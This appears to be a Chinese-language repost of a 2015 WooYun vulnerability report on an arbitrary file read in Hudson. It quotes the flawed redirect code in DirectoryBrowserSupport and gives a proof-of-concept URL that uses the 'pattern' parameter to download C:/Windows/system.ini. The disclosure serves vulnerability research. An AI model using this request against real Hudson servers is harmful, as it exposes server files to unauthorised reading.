记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Hudson最新版本任意文件读取

2015-04-04 16:35

DirectoryBrowserSupport.class中可以看到,

code 区域
String pattern = req.getParameter("pattern");

if (pattern == null) {

pattern = req.getParameter("path");

}

if (pattern != null) {

rsp.sendRedirect2(pattern);

return;

}



String path = getPath(req);

if (path.replace('\\', '/').indexOf("/../") != -1)

{

rsp.sendError(400);

return;

}



程序只对/../开头的参数pattern进行过滤,所以测试一下

http://127.0.0.1:8080/job/msearch-trunk/lastSuccessfulBuild/artifact/?pattern=C:/Windows/system.ini 即可任意文件下载。(只测试了windows环境)

漏洞证明:

如图:



QQ截图20150104104334.png



修复方案:

你懂的

知识来源: www.wooyun.org/bugs/wooyun-2015-089879

阅读:67932 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“Hudson最新版本任意文件读取”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词